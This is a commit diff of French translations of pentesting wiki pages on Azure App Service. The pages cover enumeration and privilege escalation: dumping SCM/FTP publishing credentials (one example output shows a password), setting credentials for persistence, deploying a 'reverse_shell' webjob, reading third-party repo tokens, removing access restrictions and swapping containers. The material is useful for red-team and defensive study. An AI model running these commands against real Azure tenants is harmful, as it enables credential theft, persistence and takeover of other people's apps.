Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md

This commit is contained in:
Translator
2025-01-03 19:25:08 +00:00
parent a28cf6a840
commit 656df177f5
3 changed files with 398 additions and 87 deletions

View File

@@ -6,31 +6,29 @@
> [!TIP]
> Sur Linux, vous devrez installer PowerShell Core :
>
> ```bash
> sudo apt-get update
> sudo apt-get install -y wget apt-transport-https software-properties-common
>
> # Ubuntu 20.04
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
>
> # Mettre à jour les dépôts
> sudo apt-get update
> sudo add-apt-repository universe
>
> # Installer et démarrer powershell
> sudo apt-get install -y powershell
> pwsh
>
> # Az cli
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
> ```
```bash
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
# Update repos
sudo apt-get update
sudo add-apt-repository universe
# Install & start powershell
sudo apt-get install -y powershell
pwsh
# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## Installer PowerShell sur MacOS
Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) :
Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
1. Installez `brew` si ce n'est pas encore fait :
1. Installez `brew` si ce n'est pas déjà fait :
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```

View File

@@ -10,16 +10,16 @@ Pour plus d'informations sur les services d'application Azure, consultez :
../az-services/az-app-service.md
{{#endref}}
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Ces autorisations permettent d'appeler les commandes suivantes pour obtenir un **SSH shell** à l'intérieur d'une application web
Ces autorisations permettent d'obtenir un **shell SSH** à l'intérieur d'une application web. Elles permettent également de **déboguer** l'application.
- Option directe :
- **SSH en une seule commande** :
```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```
- Créer un tunnel puis se connecter à SSH :
- **Créer un tunnel puis se connecter à SSH**:
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
@@ -32,4 +32,249 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```
- **Déboguer l'application** :
1. Installez l'extension Azure dans VScode.
2. Connectez-vous à l'extension avec le compte Azure.
3. Listez tous les services d'application dans la souscription.
4. Sélectionnez le service d'application que vous souhaitez déboguer, faites un clic droit et sélectionnez "Démarrer le débogage".
5. Si l'application n'a pas le débogage activé, l'extension essaiera de l'activer mais votre compte doit avoir la permission `Microsoft.Web/sites/config/write` pour le faire.
### Obtention des identifiants SCM et activation de l'authentification de base
Pour obtenir les identifiants SCM, vous pouvez utiliser les **commandes et permissions** suivantes :
- La permission **`Microsoft.Web/sites/publishxml/action`** permet d'appeler :
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```
Notez que le **nom d'utilisateur est toujours le même** (sauf dans FTP qui ajoute le nom de l'application au début) mais que le **mot de passe est le même** pour tous.
De plus, l'**URL SCM est `<app-name>.scm.azurewebsites.net`**.
- La permission **`Microsoft.Web/sites/config/list/action`** permet d'appeler :
```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
Notez que les **identifiants sont les mêmes** que dans la commande précédente.
- Une autre option serait de **définir vos propres identifiants** et de les utiliser :
```bash
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
```
Ensuite, vous pouvez utiliser ces identifiants pour **accéder aux plateformes SCM et FTP**. C'est aussi un excellent moyen de maintenir la persistance.
N'oubliez pas que pour accéder à la plateforme SCM depuis le **web, vous devez accéder à `<SCM-URL>/BasicAuth`**.
> [!WARNING]
> Notez que chaque utilisateur peut configurer ses propres identifiants en appelant la commande précédente, mais si l'utilisateur n'a pas suffisamment de permissions pour accéder au SCM ou FTP, les identifiants ne fonctionneront pas.
- Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option d'authentification de base SCM** et pour cela, vous avez besoin de la deuxième permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
### Publier du code en utilisant des identifiants SCM
Il suffit d'avoir des identifiants SCM valides pour **publier du code** sur le service App. Cela peut être fait en utilisant la commande suivante.
Pour cet exemple en python, vous pouvez télécharger le dépôt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les **modifications** que vous souhaitez et ensuite **le compresser en exécutant : `zip -r app.zip .`**.
Ensuite, vous pouvez **publier le code** avec la commande suivante :
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Microsoft.Web/sites/publish/Action | Identifiants SCM
La permission Azure mentionnée permet d'effectuer plusieurs actions intéressantes qui peuvent également être réalisées avec les identifiants SCM :
- Lire les journaux des **Webjobs** :
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>>' -v
```
- Lire le code source de **Webjobs** :
```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
```
- Créer **Webjob continu** :
```bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/config/list/action
Cette permission permet de lister les **connection strings** et les **appsettings** du service App qui peuvent contenir des informations sensibles comme des identifiants de base de données.
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ces autorisations permettent de **attribuer une identité gérée** au service d'application, donc si un service d'application a été précédemment compromis, cela permettra à l'attaquant d'attribuer de nouvelles identités gérées au service d'application et **d'escalader les privilèges** vers celles-ci.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Lire les identifiants de tiers configurés
En exécutant la commande suivante, il est possible de **lire les identifiants de tiers** configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.
Voici quelques exemples de commandes pour vérifier les jetons :
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Mettre à jour le code de l'application depuis la source
- Si la source configurée est un fournisseur tiers comme Github, BitBucket ou un Azure Repository, vous pouvez **mettre à jour le code** du service App en compromettant le code source dans le dépôt.
- Si l'application est configurée en utilisant un **dépôt git distant** (avec nom d'utilisateur et mot de passe), il est possible d'obtenir l'**URL et les identifiants d'authentification de base** pour cloner et pousser des modifications avec :
- En utilisant la permission **`Microsoft.Web/sites/sourcecontrols/read`** : `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- En utilisant la permission **`Microsoft.Web/sites/config/list/action`** :
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Si l'application est configurée pour utiliser un **dépôt git local**, il est possible de **cloner le dépôt** et de **pousser des modifications** :
- En utilisant la permission **`Microsoft.Web/sites/sourcecontrols/read`** : Vous pouvez obtenir l'URL du dépôt git avec `az webapp deployment source show --name <app-name> --resource-group <res-group>`, mais cela sera le même que l'URL SCM de l'application avec le chemin `/<app-name>.git` (par exemple, `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- Pour obtenir les identifiants SCM, vous avez besoin de la permission :
- **`Microsoft.Web/sites/publishxml/action`** : Ensuite, exécutez `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`** : Ensuite, exécutez `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
> [!WARNING]
> Notez qu'avoir la permission `Microsoft.Web/sites/config/list/action` et les identifiants SCM rend toujours possible le déploiement dans une webapp (même si elle a été configurée pour utiliser un fournisseur tiers) comme mentionné dans une section précédente.
> [!WARNING]
> Notez qu'avoir les permissions ci-dessous rend également **possible d'exécuter un conteneur arbitraire** même si la webapp a été configurée différemment.
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
C'est l'ensemble des permissions qui permet de **modifier le conteneur utilisé** par une webapp. Un attaquant pourrait en abuser pour faire exécuter un conteneur malveillant à une webapp.
```bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,34 +4,83 @@
## Informations de base sur App Service
Azure App Services permet aux développeurs de **créer, déployer et mettre à l'échelle des applications web, des backends d'applications mobiles et des API de manière transparente**. Il prend en charge plusieurs langages de programmation et s'intègre à divers outils et services Azure pour une fonctionnalité et une gestion améliorées.
Azure App Services permet aux développeurs de **créer, déployer et mettre à l'échelle des applications web, des backends d'applications mobiles et des API sans effort**. Il prend en charge plusieurs langages de programmation et s'intègre à divers outils et services Azure pour une fonctionnalité et une gestion améliorées.
Chaque application s'exécute dans un environnement isolé, mais l'isolation dépend des plans App Service.
Chaque application s'exécute dans un bac à sable, mais l'isolation dépend des plans App Service.
- Les applications dans les niveaux Gratuit et Partagé s'exécutent sur des VM partagées.
- Les applications dans les niveaux Standard et Premium s'exécutent sur des VM dédiées.
> [!WARNING]
> Notez que **aucune** de ces isolations **ne prévient** d'autres **vulnérabilités web** courantes (comme le téléchargement de fichiers ou les injections). Et si une **identité de gestion** est utilisée, elle pourrait être capable de **faire monter les privilèges**.
> Notez que **aucune** de ces isolations **ne prévient** d'autres **vulnérabilités web** courantes (comme le téléchargement de fichiers ou les injections). Et si une **identité de gestion** est utilisée, elle pourrait être en mesure de **faire monter les privilèges**.
### Applications Azure Function
Les applications ont quelques configurations intéressantes :
En gros, **les applications Azure Function sont un sous-ensemble d'Azure App Service** dans le web et si vous allez à la console web et listez tous les services d'application ou exécutez `az webapp list` dans az cli, vous pourrez **voir les applications Function également listées ici**.
En fait, certaines des **fonctionnalités liées à la sécurité** que les services d'application utilisent (`webapp` dans az cli) sont **également utilisées par les applications Function**.
- **Always On** : Assure que l'application est toujours en cours d'exécution. Si ce n'est pas activé, l'application cessera de fonctionner après 20 minutes d'inactivité et redémarrera lorsqu'une demande est reçue.
- Cela est essentiel si vous avez un webjob qui doit s'exécuter en continu, car le webjob s'arrêtera si l'application s'arrête.
- **SSH** : Si activé, un utilisateur ayant suffisamment de permissions peut se connecter à l'application en utilisant SSH.
- **Débogage** : Si activé, un utilisateur ayant suffisamment de permissions peut déboguer l'application. Cependant, cela est désactivé automatiquement toutes les 48 heures.
- **Web App + Base de données** : La console web permet de créer une application avec une base de données. Dans ce cas, il est possible de sélectionner la base de données à utiliser (SQLAzure, PostgreSQL, MySQL, MongoDB) et cela vous permet également de créer un Azure Cache pour Redis.
- L'URL contenant les informations d'identification pour la base de données et Redis sera stockée dans les **appsettings**.
- **Conteneur** : Il est possible de déployer un conteneur sur le App Service en indiquant l'URL du conteneur et les informations d'identification pour y accéder.
## Authentification de base
Lors de la création d'une application web (et d'une fonction Azure généralement), il est possible d'indiquer si vous souhaitez que l'authentification de base soit activée. Cela **active essentiellement SCM et FTP** pour l'application, ce qui permettra de déployer l'application en utilisant ces technologies.\
De plus, pour se connecter à eux, Azure fournit une **API qui permet d'obtenir le nom d'utilisateur, le mot de passe et l'URL** pour se connecter aux serveurs SCM et FTP.
Lors de la création d'une application web (et d'une fonction Azure généralement), il est possible d'indiquer si vous souhaitez que l'authentification de base soit activée. Cela **active essentiellement SCM et FTP** pour l'application afin qu'il soit possible de déployer l'application en utilisant ces technologies.\
De plus, pour s'y connecter, Azure fournit une **API qui permet d'obtenir le nom d'utilisateur, le mot de passe et l'URL** pour se connecter aux serveurs SCM et FTP.
- Authentification : az webapp auth show --name lol --resource-group lol_group
Il est possible de se connecter au SCM en utilisant un navigateur web à `https://<SMC-URL>/BasicAuth` et de vérifier tous les fichiers et déploiements qui s'y trouvent.
SSH
### Kudu
Always On
Kudu est un **moteur de déploiement et une plateforme de gestion pour Azure App Service et Function Apps**, fournissant des déploiements basés sur Git, un débogage à distance et des capacités de gestion de fichiers pour les applications web. Il est accessible via l'URL SCM de l'application web.
Débogage
Notez que les versions Kudu utilisées par App Services et par Function Apps sont différentes, la version des Function Apps étant beaucoup plus limitée.
Quelques points de terminaison intéressants que vous pouvez trouver dans Kudu sont :
- `/DebugConsole` : Une console qui vous permet d'exécuter des commandes dans l'environnement où Kudu s'exécute.
- Notez que cet environnement **n'a pas accès** au service de métadonnées pour obtenir des jetons.
- `/webssh/host` : Un client SSH basé sur le web qui vous permet de vous connecter à l'intérieur du conteneur où l'application s'exécute.
- Cet environnement **a accès au service de métadonnées** afin d'obtenir des jetons des identités gérées assignées.
- `/Env` : Obtenez des informations sur le système, les paramètres de l'application, les variables d'environnement, les chaînes de connexion et les en-têtes HTTP.
- `/wwwroot/` : Le répertoire racine de l'application web. Vous pouvez télécharger tous les fichiers d'ici.
## Sources
Les App Services permettent de télécharger le code sous forme de fichier zip par défaut, mais permettent également de se connecter à un service tiers et d'obtenir le code à partir de là.
- Les sources tierces actuellement prises en charge sont **Github** et **Bitbucket**.
- Vous pouvez obtenir les jetons d'authentification en exécutant `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`.
- Azure configurera par défaut une **action Github** pour déployer le code sur le App Service chaque fois que le code est mis à jour.
- Il est également possible d'indiquer un **dépôt git distant** (avec nom d'utilisateur et mot de passe) pour obtenir le code à partir de là.
- Vous pouvez obtenir les informations d'identification du dépôt distant en exécutant `az webapp deployment source show --name <app-name> --resource-group <res-group>` ou `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`.
- Il est également possible d'utiliser un **dépôt Azure**.
- Il est également possible de configurer un **dépôt git local**.
- Vous pouvez obtenir l'URL du dépôt git avec `az webapp deployment source show --name <app-name> --resource-group <res-group>` et ce sera l'URL SCM de l'application.
- Pour le cloner, vous aurez besoin des informations d'identification SCM que vous pouvez obtenir avec `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
## Webjobs
Les Azure WebJobs sont des **tâches d'arrière-plan qui s'exécutent dans l'environnement Azure App Service**. Ils permettent aux développeurs d'exécuter des scripts ou des programmes aux côtés de leurs applications web, facilitant ainsi la gestion des opérations asynchrones ou intensives en temps telles que le traitement de fichiers, la gestion de données ou les tâches planifiées.
Il existe 2 types de web jobs :
- **Continu** : S'exécute indéfiniment dans une boucle et est déclenché dès sa création. Il est idéal pour les tâches nécessitant un traitement constant. Cependant, si l'application cesse de fonctionner parce que Always On est désactivé et qu'elle n'a pas reçu de demande au cours des 20 dernières minutes, le web job s'arrêtera également.
- **Déclenché** : S'exécute à la demande ou selon un calendrier. Il est mieux adapté aux tâches périodiques, telles que les mises à jour de données par lots ou les routines de maintenance.
Les webjobs sont très intéressants du point de vue des attaquants car ils pourraient être utilisés pour **exécuter du code** dans l'environnement et **escalader les privilèges** vers les identités gérées attachées.
De plus, il est toujours intéressant de vérifier les **journaux** générés par les Webjobs car ils pourraient contenir des **informations sensibles**.
### Slots
Les Azure App Service Slots sont utilisés pour **déployer différentes versions de l'application** sur le même App Service. Cela permet aux développeurs de tester de nouvelles fonctionnalités ou modifications dans un environnement séparé avant de les déployer dans l'environnement de production.
De plus, il est possible de diriger un **pourcentage du trafic** vers un slot spécifique, ce qui est utile pour **les tests A/B** et à des fins de porte dérobée.
### Azure Function Apps
Fondamentalement, **les Azure Function apps sont un sous-ensemble d'Azure App Service** dans le web et si vous allez à la console web et listez tous les services d'application ou exécutez `az webapp list` dans az cli, vous pourrez **voir les Function apps également listées ici**.
En fait, certaines des **fonctionnalités liées à la sécurité** que les App services utilisent (`webapp` dans az cli) sont **également utilisées par les Function apps**.
### Énumération
@@ -40,9 +89,10 @@ Débogage
```bash
# List webapps
az webapp list
## Less information
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
## Get SCM URL of each webapp
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
# Get info about 1 app
az webapp show --name <name> --resource-group <res-group>
@@ -51,18 +101,24 @@ az webapp show --name <name> --resource-group <res-group>
az webapp list-instances --name <name> --resource-group <res-group>
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
# Get configured Auth information
az webapp auth show --name <app-name> --resource-group <res-group>
# Get access restrictions of an app
az webapp config access-restriction show --name <name> --resource-group <res-group>
# Remove access restrictions
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
# Get connection strings of a webapp
az webapp config connection-string list --name <name> --resource-group <res-group>
# Get appsettings of an app
az webapp config appsettings list --name <name> --resource-group <res-group>
# Get SCM and FTP credentials
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
# Get configured Auth information
az webapp auth show --name <app-name> --resource-group <res-group>
# Get backups of a webapp
az webapp config backup list --webapp-name <name> --resource-group <res-group>
@@ -75,61 +131,39 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
# Restore snapshot
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
# Get connection strings of a webapp
az webapp config connection-string list --name <name> --resource-group <res-group>
# Get slots
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
# Get traffic-routing
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
# Get used container by the app
az webapp config container show --name <name> --resource-group <res-group>
# Get storage account configurations of a webapp
az webapp config storage-account list --name <name> --resource-gl_group
az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
# Read webjobs logs with Azure permissions
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# List all the functions
az functionapp list
# Read webjobs logs with SCM credentials
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
--user '<username>:<password>' -v
# Get info of 1 funciton (although in the list you already get this info)
az functionapp show --name <app-name> --resource-group <res-group>
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
## This is using a container
# Get connections of a webapp
az webapp conection list --name <name> --resource-group <res-group>
# Get details about the source of the function code
az functionapp deployment source show \
--name <app-name> \
--resource-group <res-group>
## If error like "This is currently not supported."
## Then, this is probalby using a container
# Get more info if a container is being used
az functionapp config container show \
--name <name> \
--resource-group <res-group>
# Get settings (and privesc to the sorage account)
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
# Check if a domain was assigned to a function app
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
# Get SSL certificates
az functionapp config ssl list --resource-group <res-group>
# Get network restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Get source code with Master Key of the function
curl "<script_href>?code=<master-key>"
## Python example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
```
{{#endtab }}
@@ -196,6 +230,40 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Exemples pour générer des applications Web
### Python depuis local
Ce tutoriel est basé sur celui de [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
```bash
# Clone repository
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
Se connecter au portail SCM ou se connecter via FTP permet de voir dans `/wwwroot` le fichier compressé `output.tar.gz` qui contient le code de l'application web.
> [!TIP]
> Se connecter simplement via FTP et modifier le fichier `output.tar.gz` ne suffit pas à changer le code exécuté par l'application web.
**Un attaquant pourrait télécharger ce fichier, le modifier et le télécharger à nouveau pour exécuter du code arbitraire dans l'application web.**
### Python depuis Github
Ce tutoriel est basé sur le précédent mais utilise un dépôt Github.
1. Forkez le dépôt msdocs-python-flask-webapp-quickstart dans votre compte Github.
2. Créez une nouvelle application Web Python dans Azure.
3. Dans `Deployment Center`, changez la source, connectez-vous avec Github, sélectionnez le dépôt forké et cliquez sur `Save`.
Comme dans le cas précédent, se connecter au portail SCM ou se connecter via FTP permet de voir dans `/wwwroot` le fichier compressé `output.tar.gz` qui contient le code de l'application web.
> [!TIP]
> Se connecter simplement via FTP et modifier le fichier `output.tar.gz` et relancer un déploiement ne suffit pas à changer le code exécuté par l'application web.
## Références
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)